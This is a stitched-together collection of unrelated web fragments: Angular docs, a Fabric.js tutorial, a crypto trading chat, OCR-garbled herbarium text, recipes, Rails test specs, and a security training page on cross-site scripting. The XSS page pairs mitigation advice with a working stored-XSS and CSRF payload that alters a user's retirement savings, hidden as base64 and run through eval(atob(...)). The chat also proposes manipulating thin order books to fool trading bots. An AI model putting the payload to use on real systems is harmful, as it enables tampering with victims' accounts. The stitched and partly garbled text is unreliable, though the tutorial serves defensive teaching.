| _folderPicked |
_folderPicked:
|
Default value : new Subject<any>()
|
| authInstance |
authInstance:
|
|
Variable for easy reference to the authenitcation instance. |
| folderPicker |
folderPicker:
|
| gapi |
gapi:
|
Type : any
|
|
Workaround for testing |
google:
|
Type : any
|
| aoConfig |
aoConfig:
|
Type : Config
|
Default value : {
steps: [
{
id: 0,
text: 'This is your Home page where basic controls and information are provided.',
path: '/app/home'
},
{
id: 1,
text: 'This is the Configuration page where you can view, edit, create, and delete configs.',
path: '/app/config'
},
{
id: 2,
text: 'This is the presets button, it brings you to a list of presets you can choose from!',
path: '/app/config'
},
{
id: 3,
text: 'This is the Settings page where you can manage your data.',
path: '/app/settings'
}
]
}
|
| context |
context:
|
Default value : require.context('./', true, /\.spec\.ts$/)
|
| require |
require:
|
Type : any
|
| environment |
environment:
|
Type : object
|
Default value : {
production: false
}
|
|
Environment for development builds |
| environment |
environment:
|
Type : object
|
Default value : {
production: true
}
|
|
Environment for production builds |
| gapi |
gapi:
|
Type : any
|
|
Workaround for testing |
| gapi |
gapi:
|
Type : any
|
|
Workaround for testing |
| gapi |
gapi:
|
Type : any
|
|
Workaround for testing |
| gapi |
gapi:
|
Type : any
|
|
Workaround for testing |
google:
|
Type : any
|
| presets |
presets:
|
Type : any
|
Default value : [
{
id: 'istem',
name: 'I-STEM Geometry Preset',
category: 'School',
description:
'A preset configuration for the Wilson High School 9th Grade Geometry I-STEM classes(Periods 3-5).',
imageURL: 'assets/images/istem-logo.png',
data: {
createFolders: [
'Geometry',
'Physics',
'Integrated Engineering and Design'
],
groups: [
{
destination: {
presetID: 'Geometry'
},
name: 'Geometry',
rules: [
{
classifier: 'title',
constraint: 'include',
data: {
title: 'Geo'
},
name: 'Name'
}
],
source: {
folderID: 'root',
name: 'My Drive'
}
},
{
destination: {
presetID: 'Physics'
},
name: 'Physics',
rules: [
{
classifier: 'title',
constraint: 'include',
data: {
title: 'Phys'
},
name: 'Name'
}
],
source: {
folderID: 'root',
name: 'My Drive'
}
},
{
destination: {
presetID: 'Integrated Engineering and Design'
},
name: 'Integrated Engineering and Design',
rules: [
{
classifier: 'title',
constraint: 'include',
data: {
title: 'IED'
},
name: 'Name'
}
],
source: {
folderID: 'root',
name: 'My Drive'
}
}
]
}
}
]
|
| quartersArray |
quartersArray:
|
Type : []
|
Default value : ['Quarter 1', 'Quarter 2', 'Quarter 3', 'Quarter 4']
|


The New Cupcake Physics Site
It Has Been Awhile!
Hello again everyone - it has been awhile since my last post. Over the past couple of years, I have been working on Cupcake Physics in my spare time. Cupcake Physics is a website that aims to help students practice physics concepts using customizable quizzes and focused feedback. At this point in time I think the site is ready for an initial release. The important infrastructure is in place and there is a small amount of content that has been developed for the site. However, development is by no means over! I hope to keep evolving the site with new content and features that help students learn physics.
Starting today, I will try to write blog posts more consistently and give updates on the new content and features that are being developed for Cupcake Physics. I aim to write one post every two weeks - hopefully announcing it publicly will help keep me motivated! My goal is to create a website that is an excellent resource for those who want to learn physics, but need a different method of instruction than a traditional textbook or lectures.
Your feedback is always appreciated. Please visit Cupcake Physics to try the site out. Please send any suggestions for features or content to cyrus.vandrevala@cupcakephysics.com.


?6
7
8
9
10
copyright
reserved
The
New
York
Botanical
Garden
NEW
YORK
BOTANICAL
GARDEN
/n^gi_D
ET.
BY
MILDRED
E.
MATHIAS
0150121
Exuilnwi
for
NORTH
AMEhiCAN
FLORA
THE
NEW
YORK
BOTAN
ICAL
GARDEN
EXPLORATION
OF
PORTO
RICO
monte
TorrecillaĐ900-1100
M.
Alt.
/o└>o
N.
L.
BRITTON
J.
F.
COWELL
Stewardson
Brown
COLLECTORS
March
18-20,1915
01501214
Legend -
Level of confidence that token is an accurately-transcribed word
extremely low
very low
low
undetermined
medium
high
very high


Is your house under police surveillance just on Tuesdays?
Is there anyone else following you besides the Men in Black?
Do shooting stars ever shoot backwards?
Has Backgammon been played for 5,000 years?
Do you know the Schrödinger equation of quantum theory?
Was your last robotic upgrade painful?


All Classes
Packages
com.musicplayer
com.musicplayer.gui
com.musicplayer.gui.swing
com.musicplayer.keyboard
com.musicplayer.logic
com.musicplayer.misc
com.musicplayer.player
com.musicplayer.player.vlcjsingle
com.musicplayer.scanner


{{ define "main" -}} {{ $.Scratch.Set "allPostsInCategory" .Site.Taxonomies.categories.sirchris }} {{ if (in .Params.categories "sirryan") }} {{ $.Scratch.Set "allPostsInCategory" .Site.Taxonomies.categories.sirryan }} {{ end }} {{ $sortedPosts := (sort ($.Scratch.Get "allPostsInCategory") "Date" "desc") }} {{ $.Scratch.Set "budget" 25000 }}
Each brother has $25,000 to spend. Anything over that will count against the final profits when determining a winner. To the left, you can find a log of all of Chris's expenses.
{{ partial "contest.html" . }} {{ partial "enemy.html" . }}


No, i charted a diagonal trend between feb-april lows and that’s where 7300 touched the diag yesterday for a bounce
Markus26-Oct-19 02:36 PM
I think this pump was a fakeout, looking at today daily it does not look good
that massive wick is questionable
1300$ wick
might be a good shorting opportunity
Cryptoon26-Oct-19 02:39 PM
Tbh, i still wouldnt touch that
Weekly looks lit
So many people rekt this week
Neko26-Oct-19 03:39 PM
@willofleo nothing wrong with boosting morale
richardt26-Oct-19 03:43 PM
TA means nothing when the president of a particular large country announces he supports blockchain tech
Unfortunately, this may indicate that the next major bull run could be catalyzed by politics/politicians rather than actual tech
If true, KMD will be left behind yet again
Neko26-Oct-19 04:00 PM
kmd has many different use cases that btc cannot offer, blockchain industry is not just speculation
but until the market speak you are technically right
the market for kmd
tolken26-Oct-19 05:26 PM
I agree with what jl is saying, we’re mostly watching bots trade to fiat. More of this behavior this past year than ever. I’d buy more Kmd right now but tapped out at moment.
Bitfinger26-Oct-19 05:38 PM
If news trumps TA then why did code I wrote a year ago start printing the first buy signals since 12k the last couple of days?
http://imgur.com/a/F50sysh
Neko26-Oct-19 05:40 PM
@Bitfinger what about KMD
Bitfinger26-Oct-19 05:44 PM
Not liking the bear market, been giving a few buy signals since $1.20, so we should get back there... not sure when though
We retraced my last sell candle around 70c so I don't think we'll go much lower
http://imgur.com/a/qqr4zEc
1
Hidden bullish div on RSI too ^^^
siu - Chainmakers26-Oct-19 05:59 PM
Weekly has a pretty big bullish div in MACD
In RSI too
Cryptoon26-Oct-19 07:13 PM
Should kmd decide to break the chains and pump for once its going to be fast and violent imo
Markus26-Oct-19 07:26 PM
Would feel much better if whales decided to push back price to 10k sats atleast and keep it there rather then slowly humiliating us
Flint26-Oct-19 07:36 PM
the best strategy now is to buy KMD, averaging weekly in small portions until you get above 0.00011
In January, you will bite your elbows that you did not buy now! My forecast is at least $ 2 until the end of February! Remember my words
1
Markus26-Oct-19 07:36 PM
that btc daily candle woah
Bitfinger26-Oct-19 07:39 PM
Was just gonna say that @Markus its horrific
Better do something in the next few hours
Markus26-Oct-19 07:39 PM
if it close like this it will probably be one of the biggest upward wicks btc ever had in its history(edited)
Bitfinger26-Oct-19 07:45 PM
Bounce off the CME futures daily 200ma will be legendary
Lower tf starting to look bullish, should bounce soon imo
Markus26-Oct-19 07:59 PM
deathcross on daily tho
74D3026-Oct-19 08:15 PM
KMD will pump soon
KTnoc26-Oct-19 08:39 PM
pump to 7k ?
Oszy26-Oct-19 08:42 PM
7777
Cryptoon26-Oct-19 08:46 PM
77777*
Fixed that for you, np
Oszy26-Oct-19 08:51 PM
thanks ma
dan.26-Oct-19 09:17 PM
Really truly never thought it'd hit 5000s
bishop26-Oct-19 09:25 PM
@Flint Friendly 100 KMD wager that says KMD won't be $2 (or more) by March 1st 2020(edited)
Had to edit the year in there, didn't want to lose on a technicality
Cryptoon26-Oct-19 09:27 PM
I wonder... if all bots arb on usd price, technically if you marketbuy kmd/usd on bittrex for example, because it would take a while for bots to react, wouldnt the weighted cmc price would be skewed upwards too much
Which would cause binance bots to go crazy for example?
On the kmd/btc pair
I really hate bittrex, but its something I’m gonna try and find out after my holiday
Have higher sell orders on kmd/btc on bittrex, pump kmd/usd on thin orderbooks on bittrex, have bots take out your sells and then dump price again on kmd/usd to fill your low kmd/btc orders
Wonder how the bots would react
jspook1626-Oct-19 09:37 PM
@bishop the would the wager be in a CC? that paid out if it hit $2 before March 1st 2020
Neko26-Oct-19 10:42 PM
ha people wagering means it will reach $2 before
before some were saying the coin was dead
this is bullish talk
polycryptoblog26-Oct-19 11:19 PM
Anyone who spends more than 5 seconds at komodo can see it’s not dead
Hollowman900026-Oct-19 11:21 PM
@bishop you’re on
100 KMD
We need some kind of remind bot
Crabby Paddy26-Oct-19 11:23 PM
Who’s betting against or for?
I’ll join in on the kmd > $2 train
KTnoc26-Oct-19 11:24 PM
bet on sats would be more appropriated
Hollowman900026-Oct-19 11:24 PM
I’ll make it 777 KMD if you’re feeling froggy
Fuck sats
Dollar fiat was the wager
Dollar fiat it is
100 accepted, 777 if you wanna play (optional, 100 already set in stone)(edited)
@bishop
Deal?

Privatoshi27-Oct-19 12:39 AM
Is there a betting tool that is able to allow the individual losing to end the bet, at a premium, if the other party approves?
It would take the amount of days passed, and the probability of winning into consideration, and this would all use kmd


The number of Confirmed cases : 2,995,946 The number of Reported deaths : 131,477 (2020/07/09) THANK YOU FOR USE MY SITE


Fabric.js History Operations (undo, redo) and Useful Tips
Aug 15, 2019 08:25 · 699 words · 4 minute read
Hello again, today’s subject is a javascript library called Fabric.js. I have worked with this library a couple of times in the past. However, you have to improvise while using the library features for advanced usages. I needed common features for my projects. Such as, history implementation (redo, undo), clipping the canvas, export image with high resolution and so on. I think this blog post will help other people for required such kind of features.
History
First of all, most required features are undo and redo actions. In fabric.js almost every action is catched with object:modified
, object:added
and object:removed
. Basically, we are keeping the state of the canvas on a stack and redraw the state each time.
fabric.Canvas.prototype.historyInit = function () {
this.historyUndo = [];
this.historyNextState = this.historyNext();
this.on({
"object:added": this.historySaveAction,
"object:removed": this.historySaveAction,
"object:modified": this.historySaveAction
})
}
fabric.Canvas.prototype.historyNext = function () {
return JSON.stringify(this.toDatalessJSON(this.extraProps));
}
fabric.Canvas.prototype.historySaveAction = function () {
if (this.historyProcessing)
return;
const json = this.historyNextState;
this.historyUndo.push(json);
this.historyNextState = this.historyNext();
}
fabric.Canvas.prototype.undo = function () {
// The undo process will render the new states of the objects
// Therefore, object:added and object:modified events will triggered again
// To ignore those events, we are setting a flag.
this.historyProcessing = true;
const history = this.historyUndo.pop();
if (history) {
this.loadFromJSON(history).renderAll();
}
this.historyProcessing = false;
}
historySaveAction
collects the user’s actions into the historyUndo
stack. However, the events are post-events, because of this we can’t get the current state of the canvas. To solve this problem, we are keeping the current state of the canvas on historyNextState
variable. And pushing it into the stack when a new event fired.
undo
function applies the rollback operation on the state popped from the stack. However, during the canvas re-rendering events from the old state will also trigger. These events should not be fired, therefore historyProcessing
variable will block the new states from getting pushed into the stack.
npm package
I have created a npm package in order to make it easier to apply the processes we discussed above. Additionally, it includes redo action. You can install the package using with
npm install fabric-history
Import it to a node project with
import 'fabric-history';
Then basically you have to initialize it
const canvas = new fabric.Canvas('canvas');
canvas.historyInit();
Finally, you can easily redo and undo with
canvas.undo();
canvas.redo();
Download the canvas with higher resolution
Second problem I have faced, my canvas had lower resolution than I needed, and I wanted to download the high resolution version of it. There is a built-in solution for this. Basically, you can multiply the canvas while downloading by
canvas.toDataUrl({ multiplier: 3 });
Then you can download the 3x canvas.
Clip canvas
In most cases, I wanted to clip objects with different kind of shapes. HTML5 canvas has a property called globalCompositeOperation
.
This is important while clipping a fabric object. Same rules apply here. For example, I have added a rectangle on the canvas. Then, I have set the clipPath property to a group of objects.
var canvas = new fabric.Canvas('canvas')
var rect = new fabric.Rect({
width: 100,
height:100,
fill: 'red',
left: 100,
top: 100
});
canvas.add(rect)
var clipGroup = new fabric.Group([
new fabric.Circle({
radius: 50,
left: -50,
top: -50
}),
new fabric.Rect({
width: 25,
height: 25,
left: 0,
top: 0,
globalCompositeOperation: 'destination-out'
})
]);
rect.clipPath = clipGroup;
The circle defines the outside border of the rectangle and second rectangle will cut inside of the circle. You can easily set the globalCompositeOperation
as destination-out
value. And the result;
You can see an example below:
https://jsfiddle.net/almozdmr/yjmx6751/
Conclusion
In this blog post, we learned how to use globalCompositeOperation
with fabric.js’s objects. Additionally, I have published my first npm package under name fabric-history.
UPDATE
I have updated the fabric-history package. historyInit
function is not necessary anymore. You just import the package and use undo
, redo
functions.
fabric-history source code
lyzerk/fabric-history
_Basic undo and redo prototype implementation on Fabric.js npm i fabric-history Node projects Or html Initialization of…_github.com
Resources
Home
_This repo uses Jekyll to serve pages, which can be installed here. Once installed just run the command jekyll serve in…_fabricjs.com
Canvas reference: The globalCompositeOperation property
_Summary: The globalCompositeOperation property determines how drawings are added to the canvas. It has a variety of…_www.rgraph.net


rom960 ROM Image Builder
The rom960 ROM image builder interprets commands either from a
configuration file or from standard input. The invocation command
is:
rom960 [
-option ]... [ config_file [ script-arg
]...]...
Each option must be preceded by a -
character. (On DOS, you can also use a /
character.) The options are listed below.
A configuration file must be given without its .ld
extension. The configuration file is searched for lines beginning
with #*.
This prefix is stripped, and script arguments are substituted.
The first script argument in the invocation is substituted for
each occurrence of $0,
the second for each occurrence of $1,
and so on. After script argument substitution, the invocation
command is interpreted and executed.
If the config_file
is omitted, rom960 reads commands from stdin;
no argument substitution is done.
Options
- h
Displays help information to stdout
and exits.
- V
Displays the version number and copyright date to standard error
and continues.
- v960
Displays the version number and copyright date
to standard error and exits.
Commands
- checksum image
start-addr end-addr 16 |
32 checksum-addr
Computes a 16- or 32-bit crc checksum over the address
range from start-addr
to end-addr
(inclusive) and stores it at the designated checksum
address.
- help
Displays help information to stdout
and continues.
- ihex image
output_intel_hex_file
[ mode16 | mode32 ]
Translates a binary ROM image to Intel hex format
suitable for downloading to an intelligent PROM programmer. The
optional mode16
argument produces extended segment address records; mode32
(the default) produces extended linear address records.
- map object_file
Produces a listing to stdout
of the sections in the object file in address order with their
addresses and sizes in hexadecimal. It also shows in decimal the
size of the image file that mkimage
would produce from this object file.
- mkimage object_input
image_output [section]
Translates an executable file into a memory image
containing an image of the program as it would appear when downloaded.
Sections are padded with zeros. No space is allowed for .bss.
By default, the file contains all sections of STYP_TEXT
and STYP_DATA
in the order of their starting addresses. You can override this
by specifying the section names.
- mkfill object_input
image_output fill_character
Translates an executable file into a memory image
containing an image of the program as it would appear when downloaded.
Sections are padded with the fill character specified. No space
is allowed for .bss. The file contains all sections of STYP_TEXT
and STYP_DATA
in order of their starting addresses.
- move object-file
[ mem_sect
{ phys_address | after section-name
} ]
Changes the physical address of mem_sect
in the object file header to phys_address
so that it can be used for a particular EPROM. If mem_sect
and phys_address
are not present, the .data section will be moved to immediately
follow the .text section. You can also specify the address in
the relative phrase after
section-name.
Note: This command alters the contents of the section headers
in the object file. It does not revise references to addresses
in the moved section.
- packhex hex_file
Compresses the hex file by repacking the data
records; the hex file will be converted in place.
- patch image_to_patch
file_holding_patch address
Writes the contents of the file holding the patch
into the image to patch at offset address.
- permute-a image_input
new_order image_output
Scrambles the ROM by specifying a permutation of the
address lines. new_order
is a series of 32 integers separated by spaces that specifies,
for each address bit from left to right, that bit's new position
in the output ROM image. Thus, a new order of 1 0 2 3 4 5 6 78
9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 2627 28 29 30
31 reverses the positions of each odd/even pair of bytes. This
command fails if the rom
or split
command does not precede it to describe the ROM space to be filled.
- permute-d image_input
new_order image_output
Permutes the bits in each ROM-width hunk of data in
a ROM image. new_order
is a series of integers separated by spaces that specifies for
each data bit from least to most significant position that bit's
new position in the ROM image. Thus, a new order of 7 6 5 4 3
2 1 0 reverses the order of the bits in an 8-bit-wide ROM image.
The ROM-width used by this command is the last ROM-width value
provided by a rom
or split
command.
- rom rom_length
rom_width [
rom_count ]
Specifies length and width of ROM images for subsequent
permute-a
and permute-d
commands; allows the split
command to issue warnings if its results will not fit the ROM
space described.
- sh command
Spawns a shell command. Upon completion of the command,
returns control to rom960.
- split image
memlen memwidth romlen romwidth outfile_nm
Splits a memory image of one length in bytes and width
in bits into ROM images, possibly of another length in bytes and
width in bits. The romlen
and romwidth
information given to this command can also be used in subsequent
permute-a
and permute-d
commands. outfile_nm
is used as a root name for the various images produced. Each output
file is of the form outfile_nm.xy,
where x
and y specify
the position of the ROM in the memory image. Thus, x
indicates the ROM's length-wise position in the image from 0 (lowest
part of address range) to (memlen
/ romlen),
and y indicates
the horizontal position in the image of the ROM, from 0 (first
romwidth
bits of memory-width-bits-wide data path) to (memlen
/ romwidth).
Return
to the top of this page.
Go
to the ic960 Interface Index.
Go
to the gcc960 Interface Index.


A good programmer working intensively on his own code can hold it in his mind the way a mathematician holds a problem he’s working on. Mathematicians don’t answer questions by working them out on paper the way schoolchildren are taught to. They do more in their heads: they try to understand a problem space well enough that they can walk around it the way you can walk around the memory of the house you grew up in. At its best programming is the same. You hold the whole program in your head, and you can manipulate it at will.
I was discussing my recent experience with programming dreams, some might say nightmares, with Cliff Hall. He pointed me to this essay from Paul Graham that really nails it. It is so difficult to just shut down after a long period of working on a difficult programming problem. I find myself staying up way to late, because I don’t want my brain to lose the trail with mere sleep. Will… sleep… when… dead…
The Holding a Program in One's Head by Joel Hooks, unless otherwise expressly stated, is licensed under a Creative Commons Attribution 3.0 United States License.


Sign Up
Log In
Name:
Email:
Password:
Sign Up
Log In
Sign Up
Email:
Password:
Log In
Activities
More Activities
Activities
Friends
Chats
Settings
Create
My Activities
Filter By Time
Filter By Location Based
Customized Filter
Cancel
My Activities
Back
Create Activity
Cancel
Title:
Location:
Start Time:
End Time:
Visibility:
Friends
Public
Description:
Create
Edit Activity
Cancel
Title:
Location:
Start Time:
End Time:
Visibility:
Friends
Public
Description:
Save
Activity Detail
Back
Share via Email
Share via SMS
Report Abuse
Cancel
Report Abuse
Are you sure to report this activity? You might not be able to cancel this action.
Confirm
Cancel
Delete Activity
Are you sure to delete this activity? You might not be able to undo this action.
Confirm
Cancel
Friends
Near By
Search
New Friend Requests
Activities
Friends
Chats
Settings
Profile
Back
People
Back
People
Back
People
Back
Chats
Activities
Friends
Chats
Settings
Delete
Cancel
New Group
Back
Add Participants
Cancel
Add Participants
Group Profile
Cancel
Friends
Back
OK
Group
Back
Collapse List
Delete and Leave
Group
Back
Save
Setting
Edit My Profile
Password
Logout
Activities
Friends
Chats
Settings
My Profile
Back
Save
Photo:
Name:
Gender:
Female
Male
Birthdate:
Motto:
School:
Major:
Interest:
Location:
Set Password
Back
Current Password:
Next
New Password:
Confirm Password:
Save


Invariants for Epochs
At
most
1 Leader per Epoch
(
Mutual Exclusion
)
Epoch number increases over time
(
Monotonicity
)
Becoming a Leader
Wait until you believe Leader is dead
Start new Epoch
e
(> any in which you voted) by asking for votes
Assume control of Epoch
e
on receiving support from a quorum
Rules for Voting
Vote at most once per Epoch
Stop following old Leader when you vote
Never vote in an old Epoch
epoch 1
epoch 2
epoch 3
X: 4
slot_9
X: 6
slot_9
X: 4
slot_9
X: 6
slot_9
X: 6
slot_9
X: 6
slot_9
Icons made by
Freepik
from
www.flaticon.com


{% extends "./layout.html" %} {% block title %}A3-Cross-Site Scripting (XSS){% endblock %} {% block content %}
There are two types of XSS flaws:
Each of reflected and stored XSS can occur on the server or on the client (which is also known as DOM based XSS), depending on when the malicious data gets injected in HTML markup.
Input validation and sanitization: Input validation and data sanitization are the first line of defense against untrusted data. Apply white list validation wherever possible.
Output encoding for correct context: When a browser is rendering HTML and any other associated content like CSS, javascript etc., it follows different rendering rules for each context. Hence Context-sensitive output encoding is absolutely critical for mitigating risk of XSS.
Here are the details about applying correct encoding in each context:| Context | Code Sample | Encoding Type |
|---|---|---|
| HTML Entity |  UNTRUSTED DATA | Convert & to &
Convert < to < Convert > to > Convert " to " Convert ' to ' Convert / to / |
| HTML Attribute Encoding | <input type="text" name="fname" value=" UNTRUSTED DATA"> | Except for alphanumeric characters, escape all characters with the HTML Entity &#xHH;
format, including spaces. (HH = Hex Value)
|
| URI Encoding | clickme | Except for alphanumeric characters, escape all characters with ASCII values less
than 256 with the HTML Entity &#xHH; format, including spaces. (HH = Hex Value)
|
| JavaScript Encoding |
 |
Ensure JavaScript variables are quoted. Except for alphanumeric characters, escape all characters with ASCII values less than 256 with \uXXXX unicode escaping format (X = Integer), or in xHH (HH = HEX Value) encoding format. |
| CSS Encoding |
Selection
 | Except for alphanumeric characters, escape all characters with ASCII values less than 256 with the \HH (HH= Hex Value) escaping format. |
HTTPOnly cookie flag: Preventing all XSS flaws in an application is hard. To help mitigate the impact of an XSS flaw on your site, set the HTTPOnly flag on session cookie and any custom cookies that are not required to be accessed by JavaScript.
Implement Content Security Policy (CSP): CSP is a browser side mechanism which allows creating whitelists for client side resources used by the web application, e.g. JavaScript, CSS, images, etc. CSP via special HTTP header instructs the browser to only execute or render resources from those sources. For example, the CSP header below allows content only from example site's own domain (mydomain.com) and all its sub domains.
Content-Security-Policy: default-src 'self' *.mydomain.com
Source: XSS Prevention Cheat Sheet[1]
The demo web application is vulnerable to stored XSS attack on profiles form. On form submit, the first and last name field values are submitted to the server, and without any validation get saved in database. The values are then sent back to the browser without proper escaping to be shown at the top right menu.
Two measures can be taken to mitigate XSS risk:
server.js
, enable the HTML Encoding using template engine's auto escape flag.
swig.init({ root: __dirname + "/app/views", autoescape: true //default value });
// Enable session management using express middleware app.use(express.session({ secret: "s3Cur3", cookie: { httpOnly: true, secure: true } }));
An important observation when handling output encoding to prevent XSS is the notion of context.
When output encoding is performed, it must match the context in which it is being injected to. For example, if a user input is being injected to an HTML element then it will require different encoding semantics to escape malicious input than if it were injected to say an HTML attribute or a JavaScript context altogether (such as in a script tag).
An example for how to take advantage and exploit this mis-understanding exists on the profile page. See code references in
profile.js
and profile.html
The following is a practical case of how an attacker can abuse XSS and lack of CSRF protection to perform a client-side attack that has a high impact on the victim.
The attacker's goal is to send a request on behalf of the retirement system admin so that they can manipulate data such as the retirement savings of a user. The attacker can do this by sending a request to the server that will perform the action on behalf of the admin.
Such request that will update the savings of the user is presented in the following XMLHTTPRequest code:
var xhr = new XMLHttpRequest(); xhr.open('POST', 'http://localhost:5000/savings', true); xhr.setRequestHeader('content-type', 'application/x-www-form-urlencoded'); xhr.send('userId=1&totalSavings=1');
The attacker can send this request by abusing the XSS vulnerability on the profile page. To further make the attack effective and stealthy, the attacker can use the following code to hide the attack payload as a base64 encoded string which also makes it easy to transport as an ASCII string:
bGV0IHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOyB4aHIub3BlbignUE9TVCcsICdodHRwOi8vbG9jYWxob3N0OjUwMDAvc2F2aW5ncycsIHRydWUpOyB4aHIuc2V0UmVxdWVzdEhlYWRlcignY29udGVudC10eXBlJywgJ2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcpOyB4aHIuc2VuZCgndXNlcklkPTEmdG90YWxTYXZpbmdzPTEnKTs=
The attacker can then use the following code to execute the attack:
// this needs to go inside a script tag eval(atob('bGV0IHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOyB4aHIub3BlbignUE9TVCcsICdodHRwOi8vbG9jYWxob3N0OjUwMDAvc2F2aW5ncycsIHRydWUpOyB4aHIuc2V0UmVxdWVzdEhlYWRlcignY29udGVudC10eXBlJywgJ2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcpOyB4aHIuc2VuZCgndXNlcklkPTEmdG90YWxTYXZpbmdzPTEnKTs='))


Preparation time
less than 30 mins
Cooking time
10 to 30 mins
Serves
Serves 1
Preheat the oven to 180C/350F/Gas 4.
For the couscous, place the couscous into a large bowl with the stock, orange zest, coriander seeds, raisins and black pepper. Cover with a plate and leave for five minutes.
Fluff the couscous with a fork, then add the orange juice and stir. Add the mint, tarragon, spring onions, red pepper and lime juice, and fluff again with a fork to combine.
For the lamb, rub the meat with a tablespoon of the oil and season with the salt and pepper.
Heat the remaining oil over a medium heat in an ovenproof frying pan. Add the lamb and cook until it is browned on all sides.
Drizzle the lamb with the honey and sprinkle it with the chilli flakes, then put it into the oven to roast for 7-8 minutes. Remove from the oven, set the lamb aside to rest, and retain the juices in the pan.
Squeeze the orange juice into the same frying pan, then add the vanilla seeds. Simmer the juice over a medium heat for 3-4 minutes, until it has reduced and thickened slightly, to form a glaze.
To serve, spoon a helping of the couscous onto a serving plate. Cut the lamb into three slices, and place it on top of the couscous. Drizzle with the honey chilli glaze.


| Properties' Summary |
char
Delimiter |
contains the character that marks the separation of columns.
|
boolean
IsSortInTable |
determines if the content of a table is to be sorted.
|
long
SortRowOrColumnNo0 |
contains the row or column index used in the first search key.
|
boolean
IsSortNumeric0 |
determines if the sorting in the first search key is done
numeric or alphanumeric order.
|
boolean
IsSortAscending0 |
determines if the sorting in the first search key is done
in ascending or descending order.
|
long
SortRowOrColumnNo1 |
contains the row or column index used in the second search key.
|
boolean
IsSortNumeric1 |
determines if the sorting in the second search key is done
in numeric or alphanumeric order.
|
boolean
IsSortAscending1 |
determines if the sorting in the second search key is done
in ascending or descending order.
|
long
SortRowOrColumnNo2 |
contains the row or column index used in the third search key.
|
boolean
IsSortNumeric2 |
determines if the sorting in the third search key is done
in numeric or alphanumeric order.
|
boolean
IsSortAscending2 |
determines if the sorting in the third search key is done
in ascending or descending order.
|
| Properties' Details |
Delimiter
char Delimiter;
- Description
- contains the character that marks the separation of columns.
|
|
IsSortInTable
boolean IsSortInTable;
- Description
- determines if the content of a table is to be sorted.
|
|
SortRowOrColumnNo0
long SortRowOrColumnNo0;
- Description
- contains the row or column index used in the first search key.
|
|
IsSortNumeric0
boolean IsSortNumeric0;
- Description
- determines if the sorting in the first search key is done
numeric or alphanumeric order.
|
|
IsSortAscending0
boolean IsSortAscending0;
- Description
- determines if the sorting in the first search key is done
in ascending or descending order.
|
|
SortRowOrColumnNo1
long SortRowOrColumnNo1;
- Description
- contains the row or column index used in the second search key.
|
|
IsSortNumeric1
boolean IsSortNumeric1;
- Description
- determines if the sorting in the second search key is done
in numeric or alphanumeric order.
|
|
IsSortAscending1
boolean IsSortAscending1;
- Description
- determines if the sorting in the second search key is done
in ascending or descending order.
|
|
SortRowOrColumnNo2
long SortRowOrColumnNo2;
- Description
- contains the row or column index used in the third search key.
|
|
IsSortNumeric2
boolean IsSortNumeric2;
- Description
- determines if the sorting in the third search key is done
in numeric or alphanumeric order.
|
|
IsSortAscending2
boolean IsSortAscending2;
- Description
- determines if the sorting in the third search key is done
in ascending or descending order.
|
|
Copyright © 2013, The Apache Software Foundation, Licensed under the Apache License, Version 2.0. Apache, the Apache feather logo, Apache OpenOffice and OpenOffice.org are trademarks of The Apache Software Foundation. Other names may be trademarks of their respective owners.


Create an HTML file that displays a tile preview using Leaflet.
tile_viewer(tiles, zoom, width = NULL, height = NULL, georef = TRUE, ...)
| tiles | character, directory where tiles are stored. |
|---|---|
| zoom | character, zoom levels full range. Example format: |
| width |
|
| height |
|
| georef | logical, for non-geographic tiles only. If |
| ... | additional optional arguments include |
nothing is returned, but a file is written to disk.
This function creates a file preview.html
adjacent to the tiles
base directory.
When loaded in the browser, this file displays map tiles from the adjacent folder.
For example, if tiles are stored in project/tiles
, this function creates project/preview.html
.
By default, tile
creates this file. The only reasons to call tile_viewer
directly after producing map tiles are:
(1) if viewer = FALSE
was set in the call to tile
,
(2) if tile
was called multiple times, e.g., for different batches of zoom levels, and thus the most recent call did not use the full zoom range,
or (3) preview.html
was deleted for some other reason.
If calling this function directly, ensure that the min and max zoom, and original image pixel dimensions if applicable, match the generated tiles.
These arguments are passed to tile_viewer
automatically when called within tile
, based on the source file provided to tile
.
tile_viewer(file.path(tempdir(), "tiles"), "3-7") # requires an existing tile set


--- layout: full-width title: blog # Note that this index page uses a full-width layout! --- Picture ©2018 Javier Chavira


Welcome to the City of Roses!
 With Portland, we pride ourselves in the plethora of different cuisines with down to earth prices.


>> Unsupervised Learning to cluster datasets
>> Set the value of k as 3
>> Explore the similarity of clusters among different combinations of attributes


This pattern (well, maybe a little more specific than a pattern) builds on the notification pattern I wrote about before.
The basic pattern is when you have a search, if it's ambiguous what the answer is just guess, but provide alternate answers using the notification message box. On the wiki you can prefix your search with goto:, and it will take you directly to a page based on the title. If there is more than one title, it'll guess (badly right now), and offer alternatives. Here is an example (using goto:test).
In another context I've used Javascript instead of a search box; you hit the link, and it does something like javascript: location='/search?query='+escape(prompt('Goto where?')).
That is cool.


05 Apr 2015
Feature Spec: Inviting Users
require 'spec_helper'
feature "User invited friend" do
scenario "User succesfully intvites friend and invitation is accepted" do
jam = Fabricate(:user)
sign_in(jam)
invite_a_friend
friend_accepts_invitation
friend_signs_in
friend_should_follow(jam)
inviter_should_follow_friend(jam)
clear_email
end
def invite_a_friend
visit new_invitation_path
fill_in "Friend's Name", with: 'Amber Howard'
fill_in "Friend's Email Address", with<EMAIL_ADDRESS>fill_in "Message", with: "Hey girl, you gotta check this out!"
click_button "Send Invitation"
sign_out
end
def friend_accepts_invitation
open_email<EMAIL_ADDRESS>current_email.click_link "Accept this invitation"
fill_in "Password", with: "password"
fill_in "Full Name", with: "Amber Howard"
click_button "Sign Up"
end
def friend_signs_in
fill_in "Email Address", with<EMAIL_ADDRESS>fill_in "Password", with: 'password'
click_button "Sign in"
end
def friend_should_follow(inviter)
click_link "People"
expect(page).to have_content inviter.full_name
sign_out
end
def inviter_should_follow_friend(inviter)
sign_in(inviter)
click_link "People"
expect(page).to have_content "Amber Howard"
end
end
03 Apr 2015
Inviting Users - 2nd part of Workflow:
- User gets email and selects the "Accept this invitation" link. URL will contain special token
- Registation form has email prefilled
- Upon sign up, user automatically follows recommender and vice versa
Step 1. User recieves email:
#views/app_mailers/send_invitation_email.html.haml
!!! 5
%html(lang="en-US")
%body
%p You are inivited by<EMAIL_ADDRESS>to join Myflix!
